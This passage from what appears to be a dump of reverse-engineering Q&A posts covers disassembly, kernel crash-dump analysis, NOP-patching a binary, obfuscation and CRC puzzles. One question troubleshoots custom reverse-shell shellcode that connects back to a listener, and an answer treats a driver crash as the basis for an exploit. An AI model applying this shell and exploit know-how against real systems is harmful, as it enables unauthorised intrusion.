&amp;lt;__libc_start_main+338&amp;gt;&#xA;0x00007ffffe790872 &amp;lt;__libc_start_main+306&amp;gt;: xor    %eax,%eax&#xA;0x00007ffffe790874 &amp;lt;__libc_start_main+308&amp;gt;: jmp    0x7ffffe790830 &amp;lt;__libc_start_main+240&amp;gt;&#xA;0x00007ffffe790876 &amp;lt;__libc_start_main+310&amp;gt;: mov    0x8(%rsp),%rax&#xA;0x00007ffffe79087b &amp;lt;__libc_start_main+315&amp;gt;: lea    0x16bdb3(%rip),%rdi        # 0x7ffffe8fc635&#xA;0x00007ffffe790882 &amp;lt;__libc_start_main+322&amp;gt;: mov    (%rax),%rsi&#xA;0x00007ffffe790885 &amp;lt;__libc_start_main+325&amp;gt;: xor    %eax,%eax&#xA;0x00007ffffe790887 &amp;lt;__libc_start_main+327&amp;gt;: callq  *0x118(%rdx)&#xA;0x00007ffffe79088d &amp;lt;__libc_start_main+333&amp;gt;: jmpq   0x7ffffe7907a5 &amp;lt;__libc_start_main+101&amp;gt;&#xA;0x00007ffffe790892 &amp;lt;__libc_start_main+338&amp;gt;: mov    $0x3c,%edx&#xA;0x00007ffffe790897 &amp;lt;__libc_start_main+343&amp;gt;: nopw   0x0(%rax,%rax,1)&#xA;0x00007ffffe7908a0 &amp;lt;__libc_start_main+352&amp;gt;: xor    %edi,%edi&#xA;0x00007ffffe7908a2 &amp;lt;__libc_start_main+354&amp;gt;: mov    %edx,%eax&#xA;0x00007ffffe7908a4 &amp;lt;__libc_start_main+356&amp;gt;: syscall &#xA;0x00007ffffe7908a6 &amp;lt;__libc_start_main+358&amp;gt;: jmp    0x7ffffe7908a0 &amp;lt;__libc_start_main+352&amp;gt;&#xA;0x00007ffffe7908a8 &amp;lt;__libc_start_main+360&amp;gt;: mov    0x8(%rsp),%rax&#xA;0x00007ffffe7908ad &amp;lt;__libc_start_main+365&amp;gt;: mov    0x3a35bc(%rip),%rdx        # 0x7ffffeb33e70&#xA;0x00007ffffe7908b4 &amp;lt;__libc_start_main+372&amp;gt;: lea    0x16bd94(%rip),%rdi        # 0x7ffffe8fc64f&#xA;0x00007ffffe7908bb &amp;lt;__libc_start_main+379&amp;gt;: mov    (%rax),%rsi&#xA;0x00007ffffe7908be &amp;lt;__libc_start_main+382&amp;gt;: xor    %eax,%eax&#xA;0x00007ffffe7908c0 &amp;lt;__libc_start_main+384&amp;gt;: callq  *0x118(%rdx)&#xA;0x00007ffffe7908c6 &amp;lt;__libc_start_main+390&amp;gt;: jmpq   0x7ffffe7907de &amp;lt;__libc_start_main+158&amp;gt;&#xA;0x00007ffffe7908cb &amp;lt;__libc_start_main+395&amp;gt;: mov    0x168(%rax),%r13&#xA;0x00007ffffe7908d2 &amp;lt;__libc_start_main+402&amp;gt;: mov    0x3a3527(%rip),%rax        # 0x7ffffeb33e00&#xA;0x00007ffffe7908d9 &amp;lt;__libc_start_main+409&amp;gt;: xor    %r12d,%r12d&#xA;0x00007ffffe7908dc &amp;lt;__libc_start_main+412&amp;gt;: mov    (%rax),%rbp&#xA;0x00007ffffe7908df &amp;lt;__libc_start_main+415&amp;gt;: mov    0x18(%r13),%rax&#xA;0x00007ffffe7908e3 &amp;lt;__libc_start_main+419&amp;gt;: test   %rax,%rax&#xA;0x00007ffffe7908e6 &amp;lt;__libc_start_main+422&amp;gt;: je     0x7ffffe7908f8 &amp;lt;__libc_start_main+440&amp;gt;&#xA;0x00007ffffe7908e8 &amp;lt;__libc_start_main+424&amp;gt;: mov    %r12d,%edi&#xA;0x00007ffffe7908eb &amp;lt;__libc_start_main+427&amp;gt;: add    $0x47,%rdi&#xA;0x00007ffffe7908ef &amp;lt;__libc_start_main+431&amp;gt;: shl    $0x4,%rdi&#xA;0x00007ffffe7908f3 &amp;lt;__libc_start_main+435&amp;gt;: add    %rbp,%rdi&#xA;0x00007ffffe7908f6 &amp;lt;__libc_start_main+438&amp;gt;: callq  *%rax&#xA;0x00007ffffe7908f8 &amp;lt;__libc_start_main+440&amp;gt;: add    $0x1,%r12d&#xA;0x00007ffffe7908fc &amp;lt;__libc_start_main+444&amp;gt;: mov    0x40(%r13),%r13&#xA;0x00007ffffe790900 &amp;lt;__libc_start_main+448&amp;gt;: cmp    %r12d,%r14d&#xA;0x00007ffffe790903 &amp;lt;__libc_start_main+451&amp;gt;: jne    0x7ffffe7908df &amp;lt;__libc_start_main+415&amp;gt;&#xA;0x00007ffffe790905 &amp;lt;__libc_start_main+453&amp;gt;: jmpq   0x7ffffe7907d6 &amp;lt;__libc_start_main+150&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And then eventually the assembler code of &lt;code&gt;__GI_exit&lt;/code&gt; (again, whose code is not seen in the objdump of the program):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00007ffffe7aa030 &amp;lt;__GI_exit+0&amp;gt;:  lea    0x38a5c1(%rip),%rsi        # 0x7ffffeb345f8 &amp;lt;__exit_funcs&amp;gt;&#xA;0x00007ffffe7aa037 &amp;lt;__GI_exit+7&amp;gt;:  sub    $0x8,%rsp&#xA;0x00007ffffe7aa03b &amp;lt;__GI_exit+11&amp;gt;: mov    $0x1,%edx&#xA;0x00007ffffe7aa040 &amp;lt;__GI_exit+16&amp;gt;: callq  0x7ffffe7a9f10 &amp;lt;__run_exit_handlers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;And then a few more, and so on, until the program exits.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So, my question is, how can I view this extra assembler code when &lt;code&gt;objdump&lt;/code&gt;ing my dynamically linked executable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried statically compiling it as well (the file was massive when I &lt;code&gt;objdump&lt;/code&gt;ed it), and there wasn't a 1-to-1 relationship in the dynamically linked code of the dynamically linked executable and the (formerly) dynamically linked code of the statically linked executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming there are some optimizations going on that contort the (formerly) dynamically linked code in the statically linked executable for the better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my mission is to &lt;code&gt;objdump&lt;/code&gt; the dynamically linked code in the dynamically linked executable; not to &lt;code&gt;objdump&lt;/code&gt; the (formerly) dynamically linked code in the statically linked executable.&lt;/p&gt;&#xA;" OwnerUserId="30281" LastActivityDate="2019-11-25T08:43:55.187" Title="How can I objdump the assembler code of dynamically linked functions in a dynamically linked executable?" Tags="|disassembly|assembly|objdump|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22615" PostTypeId="1" AcceptedAnswerId="22616" CreationDate="2019-11-25T07:16:35.603" Score="1" ViewCount="1173" Body="&lt;p&gt;I am in an interesting situation. I have very limited Windows kernel experience, so I just don't know what data structure to look for in order to find what I need to know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a driver that is crashing Windows on my host machine. I know this much from examining the memory dump from the driver. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;For analysis of this file, run !analyze -v&#xA;nt!KeBugCheckEx:&#xA;fffff807`4cdc14e0 48894c2408      mov     qword ptr [rsp+8],rcx ss:0018:fffff389`040e6990=00000000000000f7&#xA;3: kd&amp;gt; !analyze -v&#xA;*******************************************************************************&#xA;*                                                                             *&#xA;*                        Bugcheck Analysis                                    *&#xA;*                                                                             *&#xA;*******************************************************************************&#xA;&#xA;DRIVER_OVERRAN_STACK_BUFFER (f7)&#xA;A driver has overrun a stack-based buffer.  This overrun could potentially&#xA;allow a malicious user to gain control of this machine.&#xA;DESCRIPTION&#xA;A driver overran a stack-based buffer (or local variable) in a way that would&#xA;have overwritten the function's return address and jumped back to an arbitrary&#xA;address when the function returned.  This is the classic &quot;buffer overrun&quot;&#xA;hacking attack and the system has been brought down to prevent a malicious user&#xA;from gaining complete control of it.&#xA;Do a kb to get a stack backtrace -- the last routine on the stack before the&#xA;buffer overrun handlers and bugcheck call is the one that overran its local&#xA;variable(s).&#xA;Arguments:&#xA;Arg1: fffff389040e69d0, Actual security check cookie from the stack&#xA;Arg2: 000041be41f88edc, Expected security check cookie&#xA;Arg3: ffffbe41be077123, Complement of the expected security check cookie&#xA;Arg4: 0000000000000000, zero&#xA;&#xA;Debugging Details:&#xA;------------------&#xA;&#xA;&#xA;KEY_VALUES_STRING: 1&#xA;&#xA;    Key  : Analysis.CPU.Sec&#xA;    Value: 1&#xA;&#xA;    Key  : Analysis.DebugAnalysisProvider.CPP&#xA;    Value: Create: 8007007e on DESKTOP-GS87ORM&#xA;&#xA;    Key  : Analysis.DebugData&#xA;    Value: CreateObject&#xA;&#xA;    Key  : Analysis.DebugModel&#xA;    Value: CreateObject&#xA;&#xA;    Key  : Analysis.Elapsed.Sec&#xA;    Value: 9&#xA;&#xA;    Key  : Analysis.Memory.CommitPeak.Mb&#xA;    Value: 64&#xA;&#xA;    Key  : Analysis.System&#xA;    Value: CreateObject&#xA;&#xA;&#xA;BUGCHECK_CODE:  f7&#xA;&#xA;BUGCHECK_P1: fffff389040e69d0&#xA;&#xA;BUGCHECK_P2: 41be41f88edc&#xA;&#xA;BUGCHECK_P3: ffffbe41be077123&#xA;&#xA;BUGCHECK_P4: 0&#xA;&#xA;SECURITY_COOKIE:  Expected 000041be41f88edc found fffff389040e69d0&#xA;&#xA;STACK_TEXT:  &#xA;fffff389`040e6988 fffff807`4ce7c485 : 00000000`000000f7 fffff389`040e69d0 000041be`41f88edc ffffbe41`be077123 : nt!KeBugCheckEx&#xA;fffff389`040e6990 fffff807`4cc4066c : 00000000`00000000 fffff807`4d21a91b 00000000`00000000 fffff389`040e74c0 : nt!_report_gsfailure+0x25&#xA;fffff389`040e69d0 fffff389`040e6960 : fffff389`040e6970 fffff389`040e6980 fffff389`040e6990 fffff389`040e69a0 : nt!NtSetInformationWorkerFactory+0x35c&#xA;fffff389`040e6b30 fffff389`040e6970 : fffff389`040e6980 fffff389`040e6990 fffff389`040e69a0 00000000`00000000 : 0xfffff389`040e6960&#xA;fffff389`040e6b38 fffff389`040e6980 : fffff389`040e6990 fffff389`040e69a0 00000000`00000000 00000000`00000000 : 0xfffff389`040e6970&#xA;fffff389`040e6b40 fffff389`040e6990 : fffff389`040e69a0 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e6980&#xA;fffff389`040e6b48 fffff389`040e69a0 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e6990&#xA;fffff389`040e6b50 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0xfffff389`040e69a0&#xA;&#xA;&#xA;SYMBOL_NAME:  nt!_report_gsfailure+25&#xA;&#xA;MODULE_NAME: nt&#xA;&#xA;IMAGE_NAME:  ntkrnlmp.exe&#xA;&#xA;STACK_COMMAND:  .thread ; .cxr ; kb&#xA;&#xA;BUCKET_ID_FUNC_OFFSET:  25&#xA;&#xA;FAILURE_BUCKET_ID:  0xF7_MISSING_GSFRAME_nt!_report_gsfailure&#xA;&#xA;OS_VERSION:  10.0.18362.1&#xA;&#xA;BUILDLAB_STR:  19h1_release&#xA;&#xA;OSPLATFORM_TYPE:  x64&#xA;&#xA;OSNAME:  Windows 10&#xA;&#xA;FAILURE_ID_HASH:  {82d2c1b5-b0cb-60a5-9a5d-78c8c4284f84}&#xA;&#xA;Followup:     MachineOwner&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Question:&lt;/strong&gt; Is it possible to directly extract the name of the crashing driver from a windows (kernel only) memory dump file? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If not, is it possible to extract that information by enabling user mode crash dumps&lt;/strong&gt; (by this I mean the &quot;active&quot; crash dump with by user and kernel space)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is possible, &lt;strong&gt;where should I look for the data structure to find this information? Is there a convenient Wdbg command that will get me close?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main goal is to examine the root cause of the driver's crashing behavior and possibly recreate the crash myself. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="2149" LastEditDate="2019-11-25T08:09:13.053" LastActivityDate="2019-11-25T08:09:13.053" Title="Where can you find the name of a driver causing a kernel mode crash?" Tags="|windows|driver|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22616" PostTypeId="2" ParentId="22615" CreationDate="2019-11-25T07:37:27.057" Score="2" Body="&lt;p&gt;It is possible. Take a minute to read the output from analyze. There's a few fields that will tell you what driver faulted like &quot;FAULTING_MODULE&quot;, &quot;IMAGE_NAME&quot;, and &quot;MODULE_NAME&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will give you the state of the registers as well and specifically what instruction that caused the crash so you'll see something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;driver + offset:&#xA;addresss: instruction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then below that, you'll see the stack context which is pretty useful to see what's going on. If I remember correctly, the command for that it uses is &quot;kb&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use the .trap command for the field &quot;TRAP_FRAME&quot;, you will go to the context of where it crashed too which is pretty sick. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, all that will give you everything you need to finish your exploit. Happy hacking!&lt;/p&gt;&#xA;" OwnerUserId="29798" LastActivityDate="2019-11-25T07:37:27.057" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22617" PostTypeId="2" ParentId="22614" CreationDate="2019-11-25T08:43:55.187" Score="3" Body="&lt;p&gt;The point of dynamic linking a library is not including the library in the object, so the sections you want to disassemble just aren't there.&#xA;You could even replace the dynamic library (the .so object) with something else, which could result in different code being run by your same main program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you first need to identify which dynamic objects are referenced by your program. For this, you can used &lt;code&gt;ldd&lt;/code&gt;. Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat x.c&#xA;int main(void) {&#xA;}&#xA;$ cc -o x x.c&#xA;$ ldd x&#xA;linux-vdso.so.1 (0x00007fff553e8000)&#xA;libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff12b0fa000)&#xA;/lib64/ld-linux-x86-64.so.2 (0x00007ff12b6ed000)&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can &lt;code&gt;objdump&lt;/code&gt; the files referenced here. Note you won't find the vdso anywhere; it resides in the kernel and is automatically provided for every program that runs. See &lt;code&gt;man 7 vdso&lt;/code&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see the source code, just google for glibc source; you'll find the source of the C library itself (&lt;code&gt;libc.so.6&lt;/code&gt;) and the dynamic loader (&lt;code&gt;ld-linux-x86-64&lt;/code&gt;) there.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2019-11-25T08:43:55.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22618" PostTypeId="2" ParentId="22342" CreationDate="2019-11-25T13:25:05.717" Score="1" Body="&lt;p&gt;If this is the entire function, it seems you would want to nullify it. Make it just not call &lt;code&gt;exit()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do that by simply replacing the &lt;code&gt;call _exit&lt;/code&gt; instruction with multiple &lt;code&gt;nop&lt;/code&gt; opcodes. In IDA, you'll need to use the patch program feature Under the &lt;code&gt;edit-&amp;gt; patch bytes&lt;/code&gt; sub-menu (Notice that in older versions of IDA you had to manually turn it on before it was available, this is no longer the case, though). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could either &lt;code&gt;nop&lt;/code&gt; the &lt;code&gt;call&lt;/code&gt; instruction, the entire function (both &lt;code&gt;call&lt;/code&gt; and &lt;code&gt;xor&lt;/code&gt;) or even completely remove the &lt;code&gt;call loc_BA060&lt;/code&gt; that leads to the function at &lt;code&gt;0xBA060&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your mileage may vary, however, depending on the surrounding code. It may be the case the prior to the call (and the following &lt;code&gt;exit()&lt;/code&gt;), eax contained a meaningful value that is used further down the code execution line. If that's the case and you leave the &lt;code&gt;xor eax, eax&lt;/code&gt; instruction intact, you'll only avoid the &lt;code&gt;exit()&lt;/code&gt; to hit a crash. It's therefore important to review the code surrounding the instruction you wish to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, in this specific case, &lt;code&gt;exit()&lt;/code&gt; is a no-return-function. This means the compiler is not required to make sure code following the &lt;code&gt;exit()&lt;/code&gt; call will function properly because it is never expected to execute and &lt;code&gt;_exit&lt;/code&gt; is not expected to return. You may wish to make sure you modify the code in a way that handles that well, although that behavior depends on the compiler and optimizations used.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-11-25T13:25:05.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22620" PostTypeId="1" CreationDate="2019-11-25T22:26:03.233" Score="2" ViewCount="568" Body="&lt;p&gt;Cython is a great way to protect the source code of a Python program. However, memory inspection and memory reverse engineering can still be done to this Cython program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are ways to prevent (or make it very difficult) for an attacker to inspect the memory of the Cython program?&lt;/p&gt;&#xA;" OwnerUserId="30292" LastEditorUserId="245" LastEditDate="2019-12-24T20:36:23.987" LastActivityDate="2019-12-24T20:36:23.987" Title="Prevent Memory Inspection in a Cython program?" Tags="|binary-analysis|linux|memory|python|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22621" PostTypeId="1" AcceptedAnswerId="22623" CreationDate="2019-11-26T02:18:57.523" Score="3" ViewCount="180" Body="&lt;p&gt;Alright, I need to know this ASAP, I'm breaking down my own n64 console for private study on the n64 firmware and how it does what it does best.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what tools would I need To break down this console?&#xA;would I need an n64 chip reader and writer for reading from the N64 chip inside of the console?&lt;/p&gt;&#xA;" OwnerUserId="30295" LastActivityDate="2019-11-26T21:55:06.557" Title="What, tools do I need to break down the N64 console for private study?" Tags="|firmware|hardware|" AnswerCount="1" CommentCount="1" ClosedDate="2019-12-01T01:12:28.867" ContentLicense="CC BY-SA 4.0" />
  <row Id="22623" PostTypeId="2" ParentId="22621" CreationDate="2019-11-26T10:53:58.100" Score="1" Body="&lt;p&gt;I'm making an assumption that you are talking about the Nintendo 64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly this is a gaming console, and as such, the revenue model of its creators is selling videogames. Therefore consoles should be difficult to hack and reverse engineer. This is achieved through security PLUS obscurity. This means the inner hardware is often not documented anywhere, or It is completelly custom. It is called a black box system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The N64 is a rather old console so you should be able to find information on the internet regarding reverse engineering it, and even pirating it (understanding enough of how It works to make It load copies of games, you might or might not have bought).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is no public information you could begin by inspecting the hardware. Search for a YouTube video that shows how to unscrew the console without breaking it, a teardown. After that you should try to identify all the possible electronic elements: memories (flash, nand,RAM,etc.) , DVD drive, cartridge reader, processor, ribbons going to displays,... and most importantly, their manufacturers and if they have any name printed on them, or model number, to look for possible public datasheets on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Afterwards it's quite possible that you are going to need your own custom hardware to interact with such components. You would like to dump any non-volatile memory on the board, to intercept any traffic on the different bus lines, etc. And understand how the protocols used work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next &quot;steps&quot; are certainly subjective, specific and dependant on the architecture and security measures implemented, and what you found on the previous stages, so I cannot give you further &quot;general&quot; answer.&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="16407" LastEditDate="2019-11-26T21:55:06.557" LastActivityDate="2019-11-26T21:55:06.557" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22624" PostTypeId="2" ParentId="22620" CreationDate="2019-11-26T11:30:37.340" Score="2" Body="&lt;p&gt;You can create a library on c/c++ and encrypt the memory access, however, with a debugger at the end the memory can be read. Notice that with the python module inspect you can not inspect native c/c++ libraries&lt;/p&gt;&#xA;" OwnerUserId="25705" LastActivityDate="2019-11-26T11:30:37.340" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22626" PostTypeId="1" CreationDate="2019-11-27T01:34:52.120" Score="3" ViewCount="153" Body="&lt;p&gt;What are some useful strategies for tackling a list of undocumented assembly language instructions? Even as someone who writes assembly code, I find it to be challenging at times to understand someone &lt;em&gt;else's&lt;/em&gt; code because the nature of assembly language means mentally having to keep track of CPU state at various points during the program. I've seen some success with getting a notepad and a pen and working through the program by hand. What are some other strategies? Let's take for example this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ; cmp     edx,10&#xA;       ; jae     internal_error&#xA;    push    ebx ecx&#xA;    push    eax&#xA;    mov    ebx,eax&#xA;    mov    ecx,edx&#xA;    shld    edx,eax,2&#xA;    sub    ebx,edx&#xA;    sbb    ecx,0&#xA;    mov    eax,ebx&#xA;    mov    ebx,1999999Ah&#xA;    mul    ebx&#xA;    mov    eax,ecx&#xA;    imul    eax,ebx&#xA;    add    eax,edx&#xA;    pop    edx&#xA;    imul    ecx,eax,10&#xA;    sub    edx,ecx&#xA;    cmp    edx,10&#xA;    jb    somewhere&#xA;    sub    edx,10&#xA;    inc    eax&#xA;    pop    ecx ebx&#xA;    retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Due to the nature of assembly language, it is not immediately apparent &quot;what this code actually does&quot; at a high level. To me, the process of understanding this is true &quot;reverse engineering&quot; but it doesn't necessarily need to apply to reading from a disassembler, it could just be someone else's assembler source code as well. In fact, sometimes without the help of IDA Pro or Binary Ninja disassembling a binary written in a HLL, reverse engineering assembly written in aassembly is more difficult.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2019-11-27T11:24:49.623" Title="What are some useful strategies for understanding undocumented assembly language?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22627" PostTypeId="2" ParentId="22620" CreationDate="2019-11-27T07:49:52.307" Score="2" Body="&lt;p&gt;Get &lt;a href=&quot;https://www.oreans.com/themida.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Themida&lt;/a&gt;. Just go to that page and look at the huge list of features... You will take your executable you built with Cython, and then input that into Themida. You have a bunch of different obfuscation options. Themida will heavily influence size and performance of the application, but a compromise can be made. I don't work for or endorse Themida/Oreans, but it's the best protection out that for your use-case. Don't believe me? Go search the Internet for deobfuscated/unpacked Themida for the current version - there is no known public defeat of this. Better yet, pack your program then try to reverse it yourself!&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2019-11-27T07:49:52.307" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22628" PostTypeId="1" AcceptedAnswerId="31568" CreationDate="2019-11-27T10:39:47.430" Score="3" ViewCount="350" Body="&lt;p&gt;I'm trying to write some custom shellcode to obtain a shell from a program.&#xA;Looking at the program intermodular calls, I found a call to &lt;code&gt;socket()&lt;/code&gt;, and my initial plan was to use that to create a new socket, connect back and spawn a shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to to get a connection back, but unfortunately when I call &lt;code&gt;CreateProcessA&lt;/code&gt;, I don't get any shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the call to &lt;code&gt;socket()&lt;/code&gt; I have the socket descriptor in EAX:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8lqMR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8lqMR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then, after &lt;code&gt;connect()&lt;/code&gt; (which works, I get the connection back on my netcat listener), I call &lt;code&gt;CreateProcessA()&lt;/code&gt; and this are the parameters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oWHjp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oWHjp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;InheritHandles&lt;/code&gt; is correctly set to TRUE. On the left panel I have dumped the &lt;code&gt;StartUpInfo&lt;/code&gt; structure and as you can see the file descriptor is correctly added for all handles (first 3 bytes of the structure are all set to 200). Also the flag &lt;code&gt;STARTF_USESTDHANDLES&lt;/code&gt; is correctly set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this doesn't work. What surprises me is that if instead of using the address of the intermodular call to &lt;code&gt;socket()&lt;/code&gt;, I use the address of &lt;code&gt;WSASocketA&lt;/code&gt; (found using arwin), and without changing anything else (apart from adding the extra null arguments required for WSASocketA), I can get my shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why this is not happening with &lt;code&gt;socket()&lt;/code&gt;, in fact, according to the documentation for the flag &lt;code&gt;WSA_FLAG_NO_HANDLE_INHERIT&lt;/code&gt; of the &lt;code&gt;WSASocketA&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Create a socket that is non-inheritable.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A socket handle created by the WSASocket or the socket function is&#xA;  inheritable by default. When this flag is set, the socket handle is&#xA;  non-inheritable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I assumed that by default it should work with both functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this is relevant, but I'm testing it against a Windows 7 machine.&lt;/p&gt;&#xA;" OwnerUserId="30304" LastActivityDate="2023-02-24T11:33:11.087" Title="Why can I inherit handles from WSASocketA and not from socket?" Tags="|windows|shellcode|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22629" PostTypeId="2" ParentId="22626" CreationDate="2019-11-27T11:24:49.623" Score="2" Body="&lt;p&gt;My strategy is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;not to be ashamed to use decompilers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;don't spend time on understanding each instruction. Analyzing which result the code gives with various input data is a much faster way to understand, what the function does as a whole.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;google for &quot;magic constant 0x1999999A&quot; and look at the fourth result&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;enable autocomments in IDA&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;p.s. if you need to write down what each instruction does, you're either don't have the proper tools, or doing reversing wrong.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2019-11-27T11:24:49.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22631" PostTypeId="1" AcceptedAnswerId="22651" CreationDate="2019-11-27T21:25:04.430" Score="1" ViewCount="135" Body="&lt;p&gt;I have a list of messages from a control unit that i'm trying to replicate.&#xA;I have the body of the message correct, however, i can't seem to work out what CRC or checksum is being utilised.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 FE 0F 32 A8 80 84 90&#xA;00 FE 0F 32 A8 80 84 54&#xA;00 FE FF 31 A8 80 84 38&#xA;00 FE 0F 32 A8 80 84 DC&#xA;00 FE 0F 32 A8 80 84 90&#xA;00 FE 0F 32 A8 80 84 54&#xA;00 FE 0F 32 A8 80 84 18&#xA;00 FE 0F 32 A8 80 84 DC&#xA;00 FE 0F 32 A8 80 84 90&#xA;00 FE 1F 32 A8 80 84 44&#xA;00 FE 0F 32 A8 80 84 18&#xA;00 FE 0F 32 A8 80 84 DC&#xA;00 FE AF 31 A8 80 84 4C&#xA;00 FE BF 31 A8 80 84 F0&#xA;00 FE CF 31 A8 80 84 A4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the checksum is the last 4 bits in the last byte of the message. the other 4 bits in the last byte are a counter, that counts from 0 to 3 and then wraps back around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the whole message is little endian as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have run this in reveng (probably done it wrong) and it does not return any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping someone smarter than me would be able to assist with identifying this.&lt;/p&gt;&#xA;" OwnerUserId="30313" LastActivityDate="2019-12-01T20:43:41.187" Title="Finding the CRC / Checksum in a control unit message" Tags="|crc|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
